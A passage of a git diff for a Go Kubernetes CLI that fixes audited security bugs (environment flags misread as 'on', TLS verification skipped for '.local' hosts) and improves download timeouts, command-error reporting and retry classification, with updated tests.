"" || strings.TrimSpace(password) == "" -} - -// ValidateCredentials validates that credentials meet minimum requirements -func (cp *CredentialsPrompter) ValidateCredentials(username, password string) error { - username = strings.TrimSpace(username) - password = strings.TrimSpace(password) - - if username == "" { - return fmt.Errorf("username cannot be empty") - } - - if password == "" { - return fmt.Errorf("password cannot be empty") - } - - // Additional validation can be added here - if len(username) < 2 { - return fmt.Errorf("username must be at least 2 characters long") - } - - if len(password) < 4 { - return fmt.Errorf("password must be at least 4 characters long") - } - - return nil -} diff --git a/internal/shared/config/envbool.go b/internal/shared/config/envbool.go new file mode 100644 index 00000000..55b53b83 --- /dev/null +++ b/internal/shared/config/envbool.go @@ -0,0 +1,22 @@ +package config + +import ( + "os" + "strings" +) + +// EnvBool reports whether the named environment variable is set to a truthy +// value: 1, true, yes, or on (case-insensitive). Everything else — including +// "0" and "false" — is false. +// +// This is the ONLY way boolean OPENFRAME_* switches may be read. The old +// `os.Getenv(name) != ""` pattern treated `FLAG=0` and `FLAG=false` as ON — +// for OPENFRAME_UPDATE_INSECURE_SKIP_VERIFY that meant a user writing `=0` to +// say "off" silently DISABLED release-signature verification (audit B5/T2). +func EnvBool(name string) bool { + switch strings.ToLower(strings.TrimSpace(os.Getenv(name))) { + case "1", "true", "yes", "on": + return true + } + return false +} diff --git a/internal/shared/config/envbool_test.go b/internal/shared/config/envbool_test.go new file mode 100644 index 00000000..c6d75b5e --- /dev/null +++ b/internal/shared/config/envbool_test.go @@ -0,0 +1,24 @@ +package config + +import "testing" + +// TestEnvBool locks strict boolean parsing for OPENFRAME_* switches: the old +// any-non-empty check treated FLAG=0 / FLAG=false as ON — for +// OPENFRAME_UPDATE_INSECURE_SKIP_VERIFY that silently DISABLED release +// signature verification when the user meant "off" (audit B5). +func TestEnvBool(t *testing.T) { + const name = "OPENFRAME_TEST_BOOL" + + for _, v := range []string{"1", "true", "TRUE", "yes", "on", " 1 "} { + t.Setenv(name, v) + if !EnvBool(name) { + t.Errorf("EnvBool(%q=%q) = false, want true", name, v) + } + } + for _, v := range []string{"", "0", "false", "no", "off", "garbage"} { + t.Setenv(name, v) + if EnvBool(name) { + t.Errorf("EnvBool(%q=%q) = true, want false", name, v) + } + } +} diff --git a/internal/shared/config/system.go b/internal/shared/config/system.go index f5074618..f1756ead 100644 --- a/internal/shared/config/system.go +++ b/internal/shared/config/system.go @@ -19,13 +19,6 @@ func NewSystemService() *SystemService { } } -// NewSystemServiceWithOptions creates a system service with custom options -func NewSystemServiceWithOptions(logDir string) *SystemService { - return &SystemService{ - logDir: logDir, - } -} - // Initialize performs system initialization tasks func (s *SystemService) Initialize() error { if err := s.setupLogDirectory(); err != nil { @@ -41,8 +34,3 @@ func (s *SystemService) setupLogDirectory() error { } return nil } - -// GetLogDirectory returns the configured log directory path -func (s *SystemService) GetLogDirectory() string { - return s.logDir -} diff --git a/internal/shared/config/system_test.go b/internal/shared/config/system_test.go index 279e02bd..a760a4e6 100644 --- a/internal/shared/config/system_test.go +++ b/internal/shared/config/system_test.go @@ -14,25 +14,9 @@ func TestNewSystemService(t *testing.T) { } // Should have default log directory set - logDir := service.GetLogDirectory() expectedLogDir := filepath.Join(os.TempDir(), "openframe-deployment-logs") - if logDir != expectedLogDir { - t.Errorf("expected log directory %q, got %q", expectedLogDir, logDir) - } -} - -func TestNewSystemServiceWithOptions(t *testing.T) { - customLogDir := "/tmp/custom-test-logs" - service := NewSystemServiceWithOptions(customLogDir) - - if service == nil { - t.Fatal("NewSystemServiceWithOptions should not return nil") - } - - // Should have custom log directory set - logDir := service.GetLogDirectory() - if logDir != customLogDir { - t.Errorf("expected log directory %q, got %q", customLogDir, logDir) + if service.logDir != expectedLogDir { + t.Errorf("expected log directory %q, got %q", expectedLogDir, service.logDir) } } @@ -65,7 +49,7 @@ func TestSystemService_Initialize(t *testing.T) { if tt.logDir == "" { service = NewSystemService() } else { - service = NewSystemServiceWithOptions(tt.logDir) + service = &SystemService{logDir: tt.logDir} } err := service.Initialize() @@ -76,34 +60,19 @@ func TestSystemService_Initialize(t *testing.T) { if !tt.wantErr { // Verify directory was created - logDir := service.GetLogDirectory() - if _, err := os.Stat(logDir); os.IsNotExist(err) { - t.Errorf("expected log directory %q to be created", logDir) + if _, err := os.Stat(service.logDir); os.IsNotExist(err) { + t.Errorf("expected log directory %q to be created", service.logDir) } // Clean up test directory if tt.logDir != "" { - os.RemoveAll(logDir) + os.RemoveAll(service.logDir) } } }) } } -func TestSystemService_GetLogDirectory(t *testing.T) { - service := NewSystemService() - - logDir := service.GetLogDirectory() - if logDir == "" { - t.Error("GetLogDirectory should not return empty string") - } - - expectedLogDir := filepath.Join(os.TempDir(), "openframe-deployment-logs") - if logDir != expectedLogDir { - t.Errorf("expected log directory %q, got %q", expectedLogDir, logDir) - } -} - func TestSystemService_InitializeErrorHandling(t *testing.T) { // Test with invalid directory path (should fail gracefully) // Use a path that is guaranteed to fail - a file as a directory component @@ -119,7 +88,7 @@ func TestSystemService_InitializeErrorHandling(t *testing.T) { // Try to create a directory inside the file (should fail) invalidPath := filepath.Join(tmpFile, "cannot", "create", "here") - service := NewSystemServiceWithOptions(invalidPath) + service := &SystemService{logDir: invalidPath} err = service.Initialize() if err == nil { @@ -135,7 +104,7 @@ func TestSystemService_InitializeErrorHandling(t *testing.T) { func TestSystemService_MultipleInitialize(t *testing.T) { // Test that multiple Initialize calls are safe logDir := filepath.Join(os.TempDir(), "test-multiple-init") - service := NewSystemServiceWithOptions(logDir) + service := &SystemService{logDir: logDir} // First initialize err1 := service.Initialize() diff --git a/internal/shared/config/transport.go b/internal/shared/config/transport.go index 0eb6f81f..b81380e9 100644 --- a/internal/shared/config/transport.go +++ b/internal/shared/config/transport.go @@ -57,8 +57,11 @@ func ApplyInsecureTLSConfig(config *rest.Config) *rest.Config { // isLocalAPIServer reports whether serverURL points at a cluster running on // this host — loopback (127.0.0.0/8, ::1), the unspecified address 0.0.0.0 -// (used by k3d), localhost, host.docker.internal, or a *.local name. Anything -// else (a real hostname or routable IP) is treated as remote. +// (used by k3d), localhost, or host.docker.internal (Docker Desktop's alias +// for this host). Anything else — including *.local names — is treated as +// remote: mDNS/legacy-AD `.local` domains are common for REAL corporate +// clusters, and a suffix match here silently disabled TLS verification for +// them, enabling MITM with zero warning (audit B5/T1-10). func isLocalAPIServer(serverURL string) bool { host := serverURL if u, err := url.Parse(serverURL); err == nil && u.Host != "" { @@ -72,9 +75,6 @@ func isLocalAPIServer(serverURL string) bool { case "localhost", "0.0.0.0", "host.docker.internal", "::1": return true } - if strings.HasSuffix(host, ".local") { - return true - } if ip := net.ParseIP(host); ip != nil && ip.IsLoopback() { return true } diff --git a/internal/shared/config/transport_test.go b/internal/shared/config/transport_test.go index 396a95da..38b14d0b 100644 --- a/internal/shared/config/transport_test.go +++ b/internal/shared/config/transport_test.go @@ -8,12 +8,11 @@ import ( func TestIsLocalAPIServer(t *testing.T) { local := []string{ - "https://0.0.0.0:63625", // k3d - "https://127.0.0.1:26443", // orbstack / kind - "https://localhost:6443", // docker-desktop style + "https://0.0.0.0:63625", // k3d + "https://127.0.0.1:26443", // orbstack / kind + "https://localhost:6443", // docker-desktop style "https://host.docker.internal:6550", "https://[::1]:6443", - "https://my-cluster.local:6443", "127.0.0.1:6443", // bare host:port (no scheme) } for _, s := range local { @@ -28,6 +27,11 @@ func TestIsLocalAPIServer(t *testing.T) { "https://192.168.1.50:6443", // LAN → remote "https://34.120.0.1:443", // public IP "https://eks.amazonaws.com", + // B5 regression guard: mDNS/legacy-AD `.local` domains are used by REAL + // corporate clusters — a suffix match here disabled TLS verification for + // them with no warning. `.local` must be treated as remote. + "https://my-cluster.local:6443", + "https://k8s.corp.local:6443", } for _, s := range remote { if isLocalAPIServer(s) { diff --git a/internal/shared/download/verify.go b/internal/shared/download/verify.go index ac7116a1..d7cc9396 100644 --- a/internal/shared/download/verify.go +++ b/internal/shared/download/verify.go @@ -21,6 +21,7 @@ import ( "path" "path/filepath" "strings" + "time" ) // maxAssetBytes bounds FetchVerified's in-memory read so a misbehaving or @@ -65,16 +66,23 @@ func VerifyChecksum(data []byte, wantHex string) error { } // Downloader fetches and verifies pinned assets. The zero value is usable and -// uses http.DefaultClient; tests can inject a client pointed at httptest. +// uses a client with a generous overall timeout; tests can inject a client +// pointed at httptest. type Downloader struct { Client *http.Client } +// defaultClient bounds every download: http.DefaultClient has NO timeout, so a +// stalled GitHub connection hung the spinner forever (worse for MaybeAutoUpdate, +// which runs before the user's actual command). Generous because release +// archives are tens of MB on slow links; healthy downloads finish long before. +var defaultClient = &http.Client{Timeout: 5 * time.Minute} + func (d Downloader) client() *http.Client { if d.Client != nil { return d.Client } - return http.DefaultClient + return defaultClient } // FetchVerified downloads asset.URL, verifies its SHA256, and returns the bytes. @@ -134,6 +142,17 @@ func (d Downloader) InstallVerifiedTarGz(ctx context.Context, asset PinnedAsset, return writeFileAtomic(extracted, destPath, perm) } +// FetchVerifiedTarGzMember downloads and verifies a .tar.gz asset and returns +// the bytes of the regular file named member — for callers that stream the +// binary elsewhere (e.g. into WSL via stdin) instead of installing it locally. +func (d Downloader) FetchVerifiedTarGzMember(ctx context.Context, asset PinnedAsset, member string) ([]byte, error) { + body, err := d.FetchVerified(ctx, asset) + if err != nil { + return nil, err + } + return extractTarGzMember(body, member) +} + // extractTarGzMember returns the bytes of the regular file named member inside a // gzip-compressed tar archive. The member is matched by its cleaned path. func extractTarGzMember(data []byte, member string) ([]byte, error) { diff --git a/internal/shared/errors/errors.go b/internal/shared/errors/errors.go index 0595c865..75867386 100644 --- a/internal/shared/errors/errors.go +++ b/internal/shared/errors/errors.go @@ -6,6 +6,7 @@ import ( "fmt" "strings" + "github.com/flamingo-stack/openframe-cli/internal/shared/executor" "github.com/pterm/pterm" ) @@ -23,26 +24,16 @@ func (e *ValidationError) Error() string { return fmt.Sprintf("validation failed for %s: %s", e.Field, e.Message) } -// CommandError represents command execution errors -type CommandError struct { - Command string - Args []string - Err error -} +// NOTE: there is deliberately no CommandError type here. There used to be one, +// with a polished handler — but nothing ever constructed it, so real command +// failures (executor.CommandError) fell through to the generic error dump. The +// handler now matches the type the executor actually returns. // AlreadyHandledError wraps errors that have already been displayed to the user type AlreadyHandledError struct { OriginalError error } -func (e *CommandError) Error() string { - return fmt.Sprintf("command '%s %v' failed: %v", e.Command, e.Args, e.Err) -} - -func (e *CommandError) Unwrap() error { - return e.Err -} - func (e *AlreadyHandledError) Error() string { return e.OriginalError.Error() } @@ -68,13 +59,13 @@ func (eh *ErrorHandler) HandleError(err error) { } var validationErr *ValidationError - var commandErr *CommandError + var commandErr *executor.CommandError var branchErr *BranchNotFoundError switch { case stderrors.As(err, &validationErr): eh.handleValidationError(validationErr) case stderrors.As(err, &commandErr): - eh.handleCommandError(commandErr) + eh.handleCommandError(commandErr, err) case stderrors.As(err, &branchErr): eh.handleBranchNotFoundError(branchErr) default: @@ -91,22 +82,41 @@ func (eh *ErrorHandler) handleValidationError(err *ValidationError) { pterm.Printf(" Issue: %s\n", err.Message) } -func (eh *ErrorHandler) handleCommandError(err *CommandError) { - pterm.Error.Printf("❌ Command execution failed\n") - pterm.Printf(" Command: %s\n", pterm.Yellow(err.Command)) - if len(err.Args) > 0 { - pterm.Printf(" Arguments: %v\n", err.Args) +// handleCommandError renders a failed external command: what ran, how it +// failed, and — crucially — what the child process actually said. Before this, +// the handler matched a errors.CommandError type that was never constructed +// anywhere, so real failures (executor.CommandError) fell through to the +// generic dump and the user saw "exit status 1" with no reason. +// +// outer is the full error chain, used for the friendly hint (which matches on +// wrapper text such as "cluster create operation failed"). +func (eh *ErrorHandler) handleCommandError(err *executor.CommandError, outer error) { + // DefaultBasicText, not bare pterm.Printf: the latter writes straight to + // stdout, bypassing --silent redirection (and any test capture). + pterm.Error.Printf("Command failed\n") + pterm.DefaultBasicText.Printf(" Command: %s\n", pterm.Yellow(err.Command)) + pterm.DefaultBasicText.Printf(" Exit code: %d\n", err.ExitCode) + + if reason := strings.TrimSpace(err.Stderr); reason != "" { + pterm.DefaultBasicText.Printf(" Output:\n") + for _, line := range strings.Split(reason, "\n") { + pterm.DefaultBasicText.Printf(" %s\n", pterm.Red(line)) + } + } else { + pterm.DefaultBasicText.Printf(" Error: %v\n", err) } - if eh.verbose { - pterm.Printf(" Details: %v\n", err.Err) - } else { - pterm.Printf(" Error: %v\n", err.Err) + if hint := friendlyHint(outer); hint != "" { + pterm.Info.Printf("%s\n", hint) } } +// handleBranchNotFoundError names the ref that could not be found. The advice +// alone ("check if the branch name is correct") was useless when the ref came +// from a config file or a default rather than from something the user typed. func (eh *ErrorHandler) handleBranchNotFoundError(err *BranchNotFoundError) { - pterm.Error.Println("Please check if the branch name is correct or use 'main' branch") + pterm.Error.Printfln("Branch %q does not exist in the chart repository", err.Branch) + pterm.Info.Println("Check the ref, or pass an existing one with --ref (e.g. --ref main)") } func (eh *ErrorHandler) handleGenericError(err error) { @@ -132,7 +142,10 @@ func (eh *ErrorHandler) handleGenericError(err error) { fmt.Println() pterm.Info.Printf("🔧 Troubleshooting steps:\n") pterm.Printf(" 1. Check Docker is running: docker info\n") - pterm.Printf(" 2. Check available ports: lsof -i :6550\n") + // 6550 is only the preferred API port; k3d falls back to 6551/6552 + // when it is taken (providers/k3d/ports.go), and that fallback is + // exactly what a port conflict looks like. + pterm.Printf(" 2. Check the API ports are free: lsof -i :6550-6552\n") pterm.Printf(" 3. Try with different name: openframe cluster create my-test\n") pterm.Printf(" 4. Check k3d directly: k3d version\n") } else { @@ -183,15 +196,6 @@ func (eh *ErrorHandler) isUserInterruption(err error) bool { return isInterruption(err) } -// CreateValidationError creates a new validation error -func CreateValidationError(field, value, message string) *ValidationError { - return &ValidationError{ - Field: field, - Value: value, - Message: message, - } -} - // BranchNotFoundError represents a branch not found error type BranchNotFoundError struct { Branch string @@ -206,27 +210,6 @@ func NewBranchNotFoundError(branch string) *BranchNotFoundError { return &BranchNotFoundError{Branch: branch} } -// CreateCommandError creates a new command error -func CreateCommandError(command string, args []string, err error) *CommandError { - return &CommandError{ - Command: command, - Args: args, - Err: err, - } -} - -// IsValidationError checks if an error is a validation error -func IsValidationError(err error) bool { - var target *ValidationError - return stderrors.As(err, &target) -} - -// IsCommandError checks if an error is a command error -func IsCommandError(err error) bool { - var target *CommandError - return stderrors.As(err, &target) -} - // HandleGlobalError provides a global error handling entry point // This should be used by all command RunE functions to ensure consistent error handling func HandleGlobalError(err error, verbose bool) error { diff --git a/internal/shared/errors/errors_test.go b/internal/shared/errors/errors_test.go index 83916ea4..ee7c9a84 100644 --- a/internal/shared/errors/errors_test.go +++ b/internal/shared/errors/errors_test.go @@ -1,12 +1,16 @@ package errors import ( + "bytes" "context" "errors" "fmt" "os" + "strings" "testing" + "github.com/flamingo-stack/openframe-cli/internal/shared/executor" + "github.com/pterm/pterm" "github.com/stretchr/testify/assert" ) @@ -88,60 +92,6 @@ func TestValidationError_Error(t *testing.T) { } } -func TestCommandError_Error(t *testing.T) { - tests := []struct { - name string - err *CommandError - expected string - }{ - { - name: "with args", - err: &CommandError{ - Command: "kubectl", - Args: []string{"get", "pods"}, - Err: errors.New("connection refused"), - }, - expected: "command 'kubectl [get pods]' failed: connection refused", - }, - { - name: "without args", - err: &CommandError{ - Command: "ping", - Args: []string{}, - Err: errors.New("host unreachable"), - }, - expected: "command 'ping []' failed: host unreachable", - }, - { - name: "nil args", - err: &CommandError{ - Command: "echo", - Args: nil, - Err: errors.New("test error"), - }, - expected: "command 'echo []' failed: test error", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - assert.Equal(t, tt.expected, tt.err.Error()) - }) - } -} - -func TestCommandError_Unwrap(t *testing.T) { - originalErr := errors.New("original error") - cmdErr := &CommandError{ - Command: "test", - Args: []string{"arg1"}, - Err: originalErr, - } - - unwrapped := cmdErr.Unwrap() - assert.Equal(t, originalErr, unwrapped) - assert.True(t, errors.Is(cmdErr, originalErr)) -} func TestNewErrorHandler(t *testing.T) { tests := []struct { @@ -205,57 +155,38 @@ func TestErrorHandler_HandleError_ValidationError_NoValue(t *testing.T) { }) } -func TestErrorHandler_HandleError_CommandError(t *testing.T) { - tests := []struct { - name string - verbose bool - err *CommandError - }{ - { - name: "verbose mode", - verbose: true, - err: &CommandError{ - Command: "kubectl", - Args: []string{"get", "pods"}, - Err: errors.New("connection failed"), - }, - }, - { - name: "non-verbose mode", - verbose: false, - err: &CommandError{ - Command: "docker", - Args: []string{"ps"}, - Err: errors.New("daemon not running"), - }, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - handler := NewErrorHandler(tt.verbose) - // Test that the function doesn't panic and runs successfully - // Note: pterm output cannot be easily captured in tests - assert.NotPanics(t, func() { - handler.HandleError(tt.err) - }) - }) +// TestErrorHandler_CommandError_ShowsChildStderr is the M1.1 guard: a failed +// external command must surface the CHILD'S reason to the user, not the +// useless "exit status 1". Before this, the handler matched a CommandError +// type that nothing ever constructed, so real failures (executor.CommandError) +// fell through to the generic dump with the reason discarded. +func TestErrorHandler_CommandError_ShowsChildStderr(t *testing.T) { + var buf bytes.Buffer + oldBasic, oldErr := pterm.DefaultBasicText, pterm.Error + pterm.DefaultBasicText = *pterm.DefaultBasicText.WithWriter(&buf) + pterm.Error = *pterm.Error.WithWriter(&buf) + t.Cleanup(func() { pterm.DefaultBasicText, pterm.Error = oldBasic, oldErr }) + + cmdErr := &executor.CommandError{ + Command: "k3d cluster create dev", + ExitCode: 1, + Stderr: "failed to bind port 6550: address already in use", } -} + // Wrapped, the way real callers return it. + NewErrorHandler(false).HandleError(fmt.Errorf("cluster create operation failed: %w", cmdErr)) -func TestErrorHandler_HandleError_CommandError_NoArgs(t *testing.T) { - handler := NewErrorHandler(false) - err := &CommandError{ - Command: "uptime", - Args: []string{}, - Err: errors.New("test error"), - } + out := buf.String() + assert.Contains(t, out, "address already in use", "the child's stderr must reach the user") + assert.Contains(t, out, "k3d cluster create dev", "the failing command must be shown") + assert.Contains(t, out, "Exit code: 1", "the exit code must be shown") +} - // Test that the function doesn't panic and runs successfully - // Note: pterm output cannot be easily captured in tests +// TestErrorHandler_CommandError_FallsBackWithoutStderr: a child that wrote +// nothing to stderr still produces a legible message rather than panicking. +func TestErrorHandler_CommandError_FallsBackWithoutStderr(t *testing.T) { assert.NotPanics(t, func() { - handler.HandleError(err) + NewErrorHandler(false).HandleError(&executor.CommandError{Command: "uptime", ExitCode: 2}) }) } @@ -290,115 +221,12 @@ func TestErrorHandler_HandleError_GenericError(t *testing.T) { } } -func TestCreateValidationError(t *testing.T) { - field := "email" - value := "invalid-email" - message := "must be valid email format" - - err := CreateValidationError(field, value, message) - - assert.NotNil(t, err) - assert.Equal(t, field, err.Field) - assert.Equal(t, value, err.Value) - assert.Equal(t, message, err.Message) - assert.Contains(t, err.Error(), field) - assert.Contains(t, err.Error(), value) - assert.Contains(t, err.Error(), message) -} - -func TestCreateCommandError(t *testing.T) { - command := "kubectl" - args := []string{"get", "pods"} - originalErr := errors.New("connection failed") - - err := CreateCommandError(command, args, originalErr) - - assert.NotNil(t, err) - assert.Equal(t, command, err.Command) - assert.Equal(t, args, err.Args) - assert.Equal(t, originalErr, err.Err) - assert.Contains(t, err.Error(), command) - assert.Contains(t, err.Error(), "connection failed") -} - -func TestIsValidationError(t *testing.T) { - tests := []struct { - name string - err error - expected bool - }{ - { - name: "validation error", - err: &ValidationError{Field: "test", Message: "test"}, - expected: true, - }, - { - name: "command error", - err: &CommandError{Command: "test", Err: errors.New("test")}, - expected: false, - }, - { - name: "generic error", - err: errors.New("test error"), - expected: false, - }, - { - name: "nil error", - err: nil, - expected: false, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := IsValidationError(tt.err) - assert.Equal(t, tt.expected, result) - }) - } -} - -func TestIsCommandError(t *testing.T) { - tests := []struct { - name string - err error - expected bool - }{ - { - name: "command error", - err: &CommandError{Command: "test", Err: errors.New("test")}, - expected: true, - }, - { - name: "validation error", - err: &ValidationError{Field: "test", Message: "test"}, - expected: false, - }, - { - name: "generic error", - err: errors.New("test error"), - expected: false, - }, - { - name: "nil error", - err: nil, - expected: false, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := IsCommandError(tt.err) - assert.Equal(t, tt.expected, result) - }) - } -} - func TestErrorHandler_TypeAssertion(t *testing.T) { handler := NewErrorHandler(true) // Test that the handler correctly identifies error types validationErr := &ValidationError{Field: "test", Message: "test"} - commandErr := &CommandError{Command: "test", Err: errors.New("test")} + commandErr := &executor.CommandError{Command: "test", ExitCode: 1, Stderr: "test"} genericErr := errors.New("test") // These should not panic @@ -421,7 +249,7 @@ func TestErrorTypes_Interfaces(t *testing.T) { assert.NotNil(t, err) assert.Implements(t, (*error)(nil), err) - err = &CommandError{Command: "test", Err: errors.New("test")} + err = &executor.CommandError{Command: "test", ExitCode: 1} assert.NotNil(t, err) assert.Implements(t, (*error)(nil), err) } @@ -468,46 +296,16 @@ func TestValidationError_EdgeCases(t *testing.T) { } } -func TestCommandError_EdgeCases(t *testing.T) { - tests := []struct { - name string - err *CommandError - expected string - }{ - { - name: "empty command", - err: &CommandError{ - Command: "", - Args: []string{"arg1"}, - Err: errors.New("no command specified"), - }, - expected: "command ' [arg1]' failed: no command specified", - }, - { - name: "args with spaces", - err: &CommandError{ - Command: "ssh", - Args: []string{"-o", "StrictHostKeyChecking=no", "user@host"}, - Err: errors.New("connection timeout"), - }, - expected: "command 'ssh [-o StrictHostKeyChecking=no user@host]' failed: connection timeout", - }, - { - name: "nested wrapped error", - err: &CommandError{ - Command: "kubectl", - Args: []string{"apply", "-f", "manifest.yaml"}, - Err: fmt.Errorf("apply failed: %w", fmt.Errorf("resource conflict: %w", errors.New("already exists"))), - }, - expected: "command 'kubectl [apply -f manifest.yaml]' failed: apply failed: resource conflict: already exists", - }, - } +// TestCommandError_LongStderrIsTruncated: a chatty child must not flood the +// error string; the tail (where the real failure usually is) survives. +func TestCommandError_LongStderrIsTruncated(t *testing.T) { + long := strings.Repeat("noise\n", 2000) + "FINAL REASON: disk full" + err := &executor.CommandError{Command: "helm install", ExitCode: 1, Stderr: long} - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - assert.Equal(t, tt.expected, tt.err.Error()) - }) - } + msg := err.Error() + assert.Less(t, len(msg), len(long), "the message must be bounded") + assert.Contains(t, msg, "FINAL REASON: disk full", "the tail of stderr must survive truncation") + assert.Contains(t, msg, "helm install") } func TestErrorHandler_NilHandling(t *testing.T) { @@ -552,18 +350,6 @@ func BenchmarkValidationError_Error(b *testing.B) { } } -func BenchmarkCommandError_Error(b *testing.B) { - err := &CommandError{ - Command: "kubectl", - Args: []string{"get", "pods"}, - Err: errors.New("connection failed"), - } - - b.ResetTimer() - for i := 0; i < b.N; i++ { - _ = err.Error() - } -} func BenchmarkErrorHandler_HandleError(b *testing.B) { handler := NewErrorHandler(false) diff --git a/internal/shared/errors/friendly_upstream_test.go b/internal/shared/errors/friendly_upstream_test.go new file mode 100644 index 00000000..e855be7e --- /dev/null +++ b/internal/shared/errors/friendly_upstream_test.go @@ -0,0 +1,88 @@ +package errors + +import ( + "fmt" + "strings" + "testing" +) + +// friendlyHint matches on substrings of OTHER PROJECTS' error strings (helm, +// client-go, Docker). Nothing stops those projects from rewording a message in +// a patch release, and when they do, the hint silently disappears — the CLI +// keeps working, just less helpfully, and no test notices. +// +// These cases pin verbatim messages, each transcribed from the tool that emits +// it. If an upstream rewording breaks a hint, this test says so, with the +// message that must be re-checked. It is a canary, not a correctness proof. +func TestFriendlyHint_MatchesRepresentativeUpstreamMessages(t *testing.T) { + cases := []struct { + name string + message string + want string // a distinctive fragment of the expected hint + }{ + { + name: "helm: CRDs left by an aborted install", + message: `rendered manifests contain a resource that already exists. Unable to continue with install: CustomResourceDefinition "applications.argoproj.io" in namespace "" exists and cannot be imported into the current release: invalid ownership metadata; label validation error: missing key "app.kubernetes.io/managed-by": must be set to "Helm"`, + want: "already exists without Helm ownership metadata", + }, + { + name: "client-go: apiserver down", + message: `Get "https://0.0.0.0:6550/api?timeout=32s": dial tcp 0.0.0.0:6550: connect: connection refused`, + want: "isn't reachable", + }, + { + name: "kubectl: stale kubeconfig host", + message: `Get "https://k3d-dev-server-0:6443/version": dial tcp: lookup k3d-dev-server-0: no such host`, + want: "couldn't be resolved", + }, + { + name: "client-go: request budget exhausted", + message: `client rate limiter Wait returned an error: context deadline exceeded`, + want: "timed out", + }, + { + name: "apiserver: RBAC denial", + message: `applications.argoproj.io is forbidden: User "system:serviceaccount:argocd:default" cannot list resource "applications"`, + want: "Permission was denied", + }, + { + name: "kubectl: missing context", + message: `error: context "k3d-missing" does not exist`, + want: "kube-context doesn't exist", + }, + { + name: "docker: daemon not started", + message: `Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?`, + want: "Docker doesn't appear to be running", + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + got := friendlyHint(fmt.Errorf("operation failed: %s", tc.message)) + if !strings.Contains(got, tc.want) { + t.Errorf("no hint for a real upstream message.\nmessage: %s\nwant hint containing: %q\ngot: %q\n"+ + "If the tool reworded its error, update the patterns in friendly.go.", tc.message, tc.want, got) + } + }) + } +} + +// TestFriendlyHint_OwnershipBeatsTimeout pins the documented precedence: the +// ownership failure often surfaces inside a message that also mentions a +// timeout, and the ownership hint is the actionable one. +func TestFriendlyHint_OwnershipBeatsTimeout(t *testing.T) { + err := fmt.Errorf("timed out waiting for the condition: invalid ownership metadata") + + if got := friendlyHint(err); !strings.Contains(got, "Helm ownership metadata") { + t.Errorf("the ownership hint must win over the generic timeout hint; got %q", got) + } +} + +// TestFriendlyHint_NoHintForUnknownErrors: an unrecognized failure must produce +// no hint rather than a misleading one. +func TestFriendlyHint_NoHintForUnknownErrors(t *testing.T) { + if got := friendlyHint(fmt.Errorf("chart values are malformed at line 12")); got != "" { + t.Errorf("expected no hint for an unrecognized error, got %q", got) + } +} diff --git a/internal/shared/errors/retry_policy.go b/internal/shared/errors/retry_policy.go index c79d4903..921c9e9a 100644 --- a/internal/shared/errors/retry_policy.go +++ b/internal/shared/errors/retry_policy.go @@ -3,12 +3,15 @@ package errors import ( "context" stderrors "errors" + "io" "math" "math/rand" + "net" "strings" + "syscall" "time" - "github.com/pterm/pterm" + apierrors "k8s.io/apimachinery/pkg/api/errors" ) // RetryPolicy defines retry behavior for recoverable errors @@ -42,13 +45,21 @@ func NewExponentialBackoffPolicy(maxAttempts int, baseDelay time.Duration) *Expo MaxDelay: 5 * time.Minute, Multiplier: 2.0, Jitter: true, + // Substrings for tools we shell out to, whose Go error is only an exit + // code. These are the strings the tools ACTUALLY print. "network timeout" + // used to be listed here and is a phrase Go never emits: the standard + // library says "i/o timeout" (verified), so that entry matched nothing. RetryableErrs: map[string]bool{ - "network timeout": true, - "connection refused": true, - "temporary failure": true, - "resource not ready": true, - "cluster not ready": true, - "service unavailable": true, + "i/o timeout": true, + "connection refused": true, + "connection reset": true, + "tls handshake timeout": true, + "unexpected eof": true, + "temporary failure": true, + "resource not ready": true, + "cluster not ready": true, + "service unavailable": true, + "too many requests": true, }, } } @@ -58,6 +69,9 @@ func (p *ExponentialBackoffPolicy) ShouldRetry(err error, attempt int) bool { if attempt >= p.MaxAttempts { return false } + if err == nil { + return false + } // Check if it's a recoverable error. errors.As unwraps %w chains, so a // recoverable error stays recognized after being wrapped. @@ -66,7 +80,16 @@ func (p *ExponentialBackoffPolicy) ShouldRetry(err error, attempt int) bool { return recoverableErr.IsRecoverable() } - // Check if error message indicates it's retryable + // Structural classification first — it does not depend on the wording of + // somebody else's error string. + if retry, decided := classifyTransient(err); decided { + return retry + } + + // Fallback for shelled-out tools (helm, k3d, docker): their failure is an + // exit code, and the reason only exists as text on stderr. Since + // executor.CommandError carries that stderr in its Error() string, matching + // substrings here actually reaches the tool's own message. errMsg := err.Error() for retryablePattern := range p.RetryableErrs { if contains(errMsg, retryablePattern) { @@ -77,6 +100,50 @@ func (p *ExponentialBackoffPolicy) ShouldRetry(err error, attempt int) bool { return false } +// classifyTransient answers "is this error transient?" structurally, returning +// decided=false when it has no opinion. +// +// Order matters, and was verified against the standard library: an +// http.Client timeout satisfies BOTH net.Error.Timeout() and +// errors.Is(err, context.DeadlineExceeded), while a cancelled request is a +// net.Error whose Timeout() is false. So the timeout check must come first, or +// every network timeout would be misfiled as "the operation is over". +func classifyTransient(err error) (retry, decided bool) { + // A timed-out network operation is the canonical retryable failure. + var netErr net.Error + if stderrors.As(err, &netErr) && netErr.Timeout() { + return true, true + } + + // The user pressed Ctrl-C, or the overall budget is spent. Retrying is + // pointless and, for cancellation, wrong. + if stderrors.Is(err, context.Canceled) || stderrors.Is(err, context.DeadlineExceeded) { + return false, true + } + + // Connection-level failures against an API server that is still starting. + for _, errno := range []error{ + syscall.ECONNREFUSED, syscall.ECONNRESET, syscall.EPIPE, + syscall.EHOSTUNREACH, syscall.ENETUNREACH, + } { + if stderrors.Is(err, errno) { + return true, true + } + } + if stderrors.Is(err, io.ErrUnexpectedEOF) { + return true, true + } + + // Kubernetes API server backpressure and optimistic-concurrency conflicts. + if apierrors.IsConflict(err) || apierrors.IsTooManyRequests(err) || + apierrors.IsServerTimeout(err) || apierrors.IsServiceUnavailable(err) || + apierrors.IsTimeout(err) { + return true, true + } + + return false, false +} + // GetDelay calculates the delay for the next retry attempt func (p *ExponentialBackoffPolicy) GetDelay(attempt int) time.Duration { if attempt <= 0 { @@ -108,40 +175,6 @@ func (p *ExponentialBackoffPolicy) GetMaxAttempts() int { return p.MaxAttempts } -// LinearBackoffPolicy implements 